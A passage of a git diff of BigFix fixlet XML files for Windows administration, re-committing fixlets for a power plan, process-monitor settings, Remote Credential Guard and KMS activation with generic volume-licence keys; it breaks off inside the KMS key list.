-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Config - Power Policy - Set to Presentation Mode - Windows</Title>
-    <Description><![CDATA[<P>Sets the power policy to presentation mode</P>
-<P>For general information or to report issues with C3 Power Management content please visit GitHub here: <A href="https://github.com/strawgate/C3-Power-Management">https://github.com/strawgate/C3-Power-Management</A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2016-05-02</SourceReleaseDate>
-    <MIMEField>
-    	<Name>x-fixlet-modification-time</Name>
-    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">wait powercfg -s &quot;8c5e7fda-e8bf-4a96-9a85-a6e23a8c635c&quot;</ActionScript>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Config - Power Policy - Set to Presentation Mode - Windows
+  ID       : 24032
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2017-04-12T09:27:55
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Config - Power Policy - Set to Presentation Mode - Windows</Title>
+    <Description><![CDATA[<P>Sets the power policy to presentation mode</P>
+<P>For general information or to report issues with C3 Power Management content please visit GitHub here: <A href="https://github.com/strawgate/C3-Power-Management">https://github.com/strawgate/C3-Power-Management</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-05-02</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">wait powercfg -s &quot;8c5e7fda-e8bf-4a96-9a85-a6e23a8c635c&quot;</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Config - Process Monitor - Microsoft Search Indexer - Windows (22915).bes b/Sites/Windows Management/Fixlets/Fixlets/Config - Process Monitor - Microsoft Search Indexer - Windows (22915).bes
index c34d882d5..09bba7746 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Config - Process Monitor - Microsoft Search Indexer - Windows (22915).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Config - Process Monitor - Microsoft Search Indexer - Windows (22915).bes	
@@ -1,40 +1,40 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Config - Process Monitor - Microsoft Search Indexer - Windows
-  ID       : 22915
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2016-12-03T10:25:11
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Config - Process Monitor - Microsoft Search Indexer - Windows</Title>
-    <Description><![CDATA[<P>Configures the BES Process monitor to monitor for a process.</P>
-<P>Specifically, this fixlet configures it to monitor the following Processes:</P>
-<OL>
-<LI>SearchIndexer.exe</LI></OL>
-<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>exists processes (substrings separated by &quot;;&quot; of &quot;SearchIndexer.exe&quot;)</Relevance>
-    <Relevance>not exists values whose (it = &quot;SearchIndexer.exe&quot;) of settings &quot;besprocessmonitor-microsoft-windows-searchindexer&quot; of client</Relevance>
-    <Category>Service Monitor</Category>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2016-10-25</SourceReleaseDate>
-    <MIMEField>
-    	<Name>x-fixlet-modification-time</Name>
-    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">setting &quot;besprocessmonitor-microsoft-windows-searchindexer&quot;=&quot;SearchIndexer.exe&quot; on &quot;{now}&quot; for client</ActionScript>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Config - Process Monitor - Microsoft Search Indexer - Windows
+  ID       : 22915
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-12-03T10:25:11
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Config - Process Monitor - Microsoft Search Indexer - Windows</Title>
+    <Description><![CDATA[<P>Configures the BES Process monitor to monitor for a process.</P>
+<P>Specifically, this fixlet configures it to monitor the following Processes:</P>
+<OL>
+<LI>SearchIndexer.exe</LI></OL>
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists processes (substrings separated by &quot;;&quot; of &quot;SearchIndexer.exe&quot;)</Relevance>
+    <Relevance>not exists values whose (it = &quot;SearchIndexer.exe&quot;) of settings &quot;besprocessmonitor-microsoft-windows-searchindexer&quot; of client</Relevance>
+    <Category>Service Monitor</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-10-25</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">setting &quot;besprocessmonitor-microsoft-windows-searchindexer&quot;=&quot;SearchIndexer.exe&quot; on &quot;{now}&quot; for client</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Config - Process Monitor - Set Audit Delay to 10 Minutes - Windows (23032).bes b/Sites/Windows Management/Fixlets/Fixlets/Config - Process Monitor - Set Audit Delay to 10 Minutes - Windows (23032).bes
index 9f545bea6..abc4b61d3 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Config - Process Monitor - Set Audit Delay to 10 Minutes - Windows (23032).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Config - Process Monitor - Set Audit Delay to 10 Minutes - Windows (23032).bes	
@@ -1,36 +1,36 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Config - Process Monitor - Set Audit Delay to 10 Minutes - Windows
-  ID       : 23032
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2016-12-09T18:13:32
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Config - Process Monitor - Set Audit Delay to 10 Minutes - Windows</Title>
-    <Description><![CDATA[<P>Configures the BES Process Monitor to only report process failure after&nbsp;10 minutes of system uptime.</P>
-<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>not exists values whose (it = &quot;10&quot;) of settings &quot;besprocessmonitor-audit-delay&quot; of client</Relevance>
-    <Category>Service Monitor</Category>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2016-10-25</SourceReleaseDate>
-    <MIMEField>
-    	<Name>x-fixlet-modification-time</Name>
-    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">setting &quot;besprocessmonitor-audit-delay&quot;=&quot;10&quot; on &quot;{now}&quot; for client</ActionScript>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Config - Process Monitor - Set Audit Delay to 10 Minutes - Windows
+  ID       : 23032
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-12-09T18:13:32
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Config - Process Monitor - Set Audit Delay to 10 Minutes - Windows</Title>
+    <Description><![CDATA[<P>Configures the BES Process Monitor to only report process failure after&nbsp;10 minutes of system uptime.</P>
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>not exists values whose (it = &quot;10&quot;) of settings &quot;besprocessmonitor-audit-delay&quot; of client</Relevance>
+    <Category>Service Monitor</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-10-25</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">setting &quot;besprocessmonitor-audit-delay&quot;=&quot;10&quot; on &quot;{now}&quot; for client</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Config - Process Monitor - Set Audit Delay to 15 Minutes - Windows (23033).bes b/Sites/Windows Management/Fixlets/Fixlets/Config - Process Monitor - Set Audit Delay to 15 Minutes - Windows (23033).bes
index 5ba62a7eb..f002698e8 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Config - Process Monitor - Set Audit Delay to 15 Minutes - Windows (23033).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Config - Process Monitor - Set Audit Delay to 15 Minutes - Windows (23033).bes	
@@ -1,36 +1,36 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Config - Process Monitor - Set Audit Delay to 15 Minutes - Windows
-  ID       : 23033
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2016-12-09T18:13:38
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Config - Process Monitor - Set Audit Delay to 15 Minutes - Windows</Title>
-    <Description><![CDATA[<P>Configures the BES Process Monitor to only report process failure after 15 minutes of system uptime.</P>
-<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>not exists values whose (it = &quot;15&quot;) of settings &quot;besprocessmonitor-audit-delay&quot; of client</Relevance>
-    <Category>Service Monitor</Category>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2016-10-25</SourceReleaseDate>
-    <MIMEField>
-    	<Name>x-fixlet-modification-time</Name>
-    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">setting &quot;besprocessmonitor-audit-delay&quot;=&quot;15&quot; on &quot;{now}&quot; for client</ActionScript>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Config - Process Monitor - Set Audit Delay to 15 Minutes - Windows
+  ID       : 23033
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-12-09T18:13:38
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Config - Process Monitor - Set Audit Delay to 15 Minutes - Windows</Title>
+    <Description><![CDATA[<P>Configures the BES Process Monitor to only report process failure after 15 minutes of system uptime.</P>
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>not exists values whose (it = &quot;15&quot;) of settings &quot;besprocessmonitor-audit-delay&quot; of client</Relevance>
+    <Category>Service Monitor</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-10-25</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">setting &quot;besprocessmonitor-audit-delay&quot;=&quot;15&quot; on &quot;{now}&quot; for client</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Config - Process Monitor - Set Audit Delay to 5 Minutes - Windows (23034).bes b/Sites/Windows Management/Fixlets/Fixlets/Config - Process Monitor - Set Audit Delay to 5 Minutes - Windows (23034).bes
index e50ee6aa6..0ce1716f4 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Config - Process Monitor - Set Audit Delay to 5 Minutes - Windows (23034).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Config - Process Monitor - Set Audit Delay to 5 Minutes - Windows (23034).bes	
@@ -1,36 +1,36 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Config - Process Monitor - Set Audit Delay to 5 Minutes - Windows
-  ID       : 23034
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2016-12-09T18:13:45
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Config - Process Monitor - Set Audit Delay to 5 Minutes - Windows</Title>
-    <Description><![CDATA[<P>Configures the BES Process Monitor to only report process failure after 5 minutes of system uptime.</P>
-<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>not exists values whose (it = &quot;5&quot;) of settings &quot;besprocessmonitor-audit-delay&quot; of client</Relevance>
-    <Category>Service Monitor</Category>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2016-10-25</SourceReleaseDate>
-    <MIMEField>
-    	<Name>x-fixlet-modification-time</Name>
-    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">setting &quot;besprocessmonitor-audit-delay&quot;=&quot;5&quot; on &quot;{now}&quot; for client</ActionScript>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Config - Process Monitor - Set Audit Delay to 5 Minutes - Windows
+  ID       : 23034
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-12-09T18:13:45
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Config - Process Monitor - Set Audit Delay to 5 Minutes - Windows</Title>
+    <Description><![CDATA[<P>Configures the BES Process Monitor to only report process failure after 5 minutes of system uptime.</P>
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>not exists values whose (it = &quot;5&quot;) of settings &quot;besprocessmonitor-audit-delay&quot; of client</Relevance>
+    <Category>Service Monitor</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-10-25</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">setting &quot;besprocessmonitor-audit-delay&quot;=&quot;5&quot; on &quot;{now}&quot; for client</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Config - Remote Credential Guard - Enable - Windows (23808).bes b/Sites/Windows Management/Fixlets/Fixlets/Config - Remote Credential Guard - Enable - Windows (23808).bes
index c9f4ca66b..b4db64546 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Config - Remote Credential Guard - Enable - Windows (23808).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Config - Remote Credential Guard - Enable - Windows (23808).bes	
@@ -1,44 +1,44 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Config - Remote Credential Guard - Enable - Windows
-  ID       : 23808
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2017-03-13T13:16:46
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Config - Remote Credential Guard - Enable - Windows</Title>
-    <Description><![CDATA[<P>This Fixlet enables Remote Credential Guard on Windows devices that support it. </P>
-<P>Credential Guard requires the following:</P>
-<OL>
-<LI>Windows 10 Enterprise </LI></OL>
-<P>For more information on Credential Guard please see: <A href="https://technet.microsoft.com/en-us/itpro/windows/keep-secure/remote-credential-guard">https://technet.microsoft.com/en-us/itpro/windows/keep-secure/remote-credential-guard</A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance><![CDATA[version of operating system > "10.0.0.0"]]></Relevance>
-    <Relevance>not exists values &quot;DisableRestrictedAdmin&quot; whose (it = 0) of keys &quot;HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa&quot; of native registry</Relevance>
-    <Category>Virtualization Based Security</Category>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2016-05-12</SourceReleaseDate>
-    <MIMEField>
-    	<Name>x-fixlet-modification-time</Name>
-    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Enter your action script here
-
-regset &quot;[HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\LSA]&quot; &quot;DisableRestrictedAdmin&quot;=dword:00000000
-
-action requires restart</ActionScript>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Config - Remote Credential Guard - Enable - Windows
+  ID       : 23808
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2017-03-13T13:16:46
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Config - Remote Credential Guard - Enable - Windows</Title>
+    <Description><![CDATA[<P>This Fixlet enables Remote Credential Guard on Windows devices that support it. </P>
+<P>Credential Guard requires the following:</P>
+<OL>
+<LI>Windows 10 Enterprise </LI></OL>
+<P>For more information on Credential Guard please see: <A href="https://technet.microsoft.com/en-us/itpro/windows/keep-secure/remote-credential-guard">https://technet.microsoft.com/en-us/itpro/windows/keep-secure/remote-credential-guard</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance><![CDATA[version of operating system > "10.0.0.0"]]></Relevance>
+    <Relevance>not exists values &quot;DisableRestrictedAdmin&quot; whose (it = 0) of keys &quot;HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa&quot; of native registry</Relevance>
+    <Category>Virtualization Based Security</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-05-12</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Enter your action script here
+
+regset &quot;[HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\LSA]&quot; &quot;DisableRestrictedAdmin&quot;=dword:00000000
+
+action requires restart</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Config - Windows Activation - Set to KMS Activation - Windows (23579).bes b/Sites/Windows Management/Fixlets/Fixlets/Config - Windows Activation - Set to KMS Activation - Windows (23579).bes
index 6789e89be..bf2828f59 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Config - Windows Activation - Set to KMS Activation - Windows (23579).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Config - Windows Activation - Set to KMS Activation - Windows (23579).bes	
@@ -1,50 +1,50 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Config - Windows Activation - Set to KMS Activation - Windows
-  ID       : 23579
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2017-02-24T18:02:59
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Config - Windows Activation - Set to KMS Activation - Windows</Title>
-    <Description><![CDATA[<P>This Fixlet configures Windows to use KMS activation using a pre-configured set of generic KMS keys. For this fixlet to work you must have&nbsp;a KMS server defined in DNS or have already defined a KMS server on your devices.</P>
-<P>Kudos, Compliments, and Thanks to @jgstew for providing the source content for this fixlet: <A href="https://bigfix.me/fixlet/details/21368">https://bigfix.me/fixlet/details/21368</A>&nbsp;</P>
-<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
-    <Relevance>/* Windows Only */ windows of operating system</Relevance>
-    <Relevance><![CDATA[/* Windows XP or Higher */ version of operating system >= "5.1"]]></Relevance>
-    <Relevance><![CDATA[exists elements of intersection of (set of tuple string items 0 of ("Microsoft Windows Server 2016 Datacenter, CB7KF-BWN84-R7R2Y-793K2-8XDDG";"Microsoft Windows Server 2016 Standard, WC2BQ-8NRM3-FDDYY-2BFGV-KHKQY";"Microsoft Windows Server 2016 Essentials, JCKRF-N37P4-C2D82-9YXRT-4M63B, "&"Microsoft Windows 10 Professional, W269N-WFGWX-YVC9B-4J6C9-T83GX";"Microsoft Windows 10 Professional N, MH37W-N47XK-V7XM9-C7227-GCQG9";"Microsoft Windows 10 Enterprise, NPPR9-FWDCX-D2C8J-H872K-2YT43";"Microsoft Windows 10 Enterprise N, DPH2V-TTNVB-4X9Q3-TJR4H-KHJW4, "&"Microsoft Windows 10 Education, NW6C2-QMPVW-D7KKK-3GKT6-VCFB2";"Microsoft Windows 10 Education N, 2WH4N-8QGBV-H22JP-CT43Q-MDWWJ";"Microsoft Windows 10 Enterprise 2015 LTSB, WNMTR-4C88C-JK8YV-HQ7T2-76DF9";"Microsoft Windows 10 Enterprise 2015 LTSB N, 2F77B-TNFGY-69QQF-B8YKP-D69TJ";"Microsoft Windows 10 Enterprise 2016 LTSB, DCPHK-NFMTC-H88MJ-PFHPY-QJ4BJ";"Microsoft Windows 10 Enterprise 2016 LTSB N, QFFDN-GRT3P-VKWWX-X7T3R-8B639, "&"Microsoft Windows 8.1 Professional, GCRJD-8NW9H-F2CDX-CCM8D-9D6T9";"Microsoft Windows 8.1 Professional N, HMCNV-VVBFX-7HMBH-CTY9B-B4FXY";"Microsoft Windows 8.1 Enterprise, MHF9N-XY6XB-WVXMC-BTDCT-MKKG7";"Microsoft Windows 8.1 Enterprise N, TT4HM-HN7YT-62K67-RGRQJ-JFFXW, "&"Microsoft Windows Server 2012 R2 Server Standard, D2N9P-3P6X9-2R39C-7RTCD-MDVJX";"Microsoft Windows Server 2012 R2 Datacenter, W3GGN-FT8W3-Y4M27-J84CP-Q3VJ9";"Microsoft Windows Server 2012 R2 Essentials, KNC87-3J2TX-XB4WP-VCPJV-M4FWM, "&"Microsoft Windows 8 Professional, NG4HW-VH26C-733KW-K6F98-J8CK4";"Microsoft Windows 8 Professional N, XCVCF-2NXM9-723PB-MHCB7-2RYQQ";"Microsoft Windows 8 Enterprise, 32JNW-9KQ84-P47T8-D8GGY-CWCK7";"Microsoft Windows 8 Enterprise N, JMNMF-RHW7P-DMY6X-RF3DR-X2BQT, "&"Microsoft Windows Server 2012, BN3D2-R7TKB-3YPBD-8DRP2-27GG4";"Microsoft Windows Server 2012 N, 8N2M2-HWPGY-7PGT9-HGDD8-GVGGY";"Microsoft Windows Server 2012 Single Language, 2WN2H-YGCQR-KFX6K-CD6TF-84YXQ";"Microsoft Windows Server 2012 Country Specific, 4K36P-JN4VD-GDC6V-KDT89-DYFKP, "&"Microsoft Windows Server 2012 Server Standard, XC9B7-NBPP2-83J2H-RHMBY-92BT4";"Microsoft Windows Server 2012 MultiPoint Standard, HM7DN-YVMH3-46JC3-XYTG7-CYQJJ";"Microsoft Windows Server 2012 MultiPoint Premium, XNH6W-2V9GX-RGJ4K-Y8X6F-QGJ2G";"Microsoft Windows Server 2012 Datacenter, 48HP8-DN98B-MYWDG-T2DCC-8W83P, "&"Microsoft Windows 7 Professional, FJ82H-XT6CR-J8D7P-XQJJ2-GPDD4";"Microsoft Windows 7 Professional N, MRPKT-YTG23-K7D7T-X2JMM-QY7MG";"Microsoft Windows 7 Professional E, W82YF-2Q76Y-63HXB-FGJG9-GF7QX";"Microsoft Windows 7 Enterprise, 33PXH-7Y6KF-2VJC9-XBBR8-HVTHH";"Microsoft Windows 7 Enterprise N, YDRBP-3D83W-TY26F-D46B2-XCKRJ";"Microsoft Windows 7 Enterprise E, C29WB-22CC8-VJ326-GHFJW-H9DH4, "&"Microsoft Windows Server 2008 R2 Web, 6TPJF-RBVHG-WBW2R-86QPH-6RTM4";"Microsoft Windows Server 2008 R2 HPC edition, TT8MH-CG224-D3D7Q-498W2-9QCTX";"Microsoft Windows Server 2008 R2 Standard, YC6KT-GKW9T-YTKYR-T4X34-R7VHC";"Microsoft Windows Server 2008 R2 Enterprise, 489J6-VHDMP-X63PK-3K798-CPX3Y";"Microsoft Windows Server 2008 R2 Datacenter, 74YFP-3QFB3-KQT8W-PMXWJ-7M648";"Microsoft Windows Server 2008 R2 for Itanium-based Systems, GT63C-RJFQ3-4GMB6-BRFB9-CB83V, "&"Microsoft Windows Vista Business, YFKBB-PQJJV-G996G-VWGXY-2V3X8";"Microsoft Windows Vista Business N, HMBQG-8H2RH-C77VX-27R82-VMQBT";"Microsoft Windows Vista Enterprise, VKK3X-68KWM-X2YGT-QR4M6-4BWMV";"Microsoft Windows Vista Enterprise N, VTC42-BM838-43QHV-84HX6-XJXKV, "&"Microsoft Windows Web Server 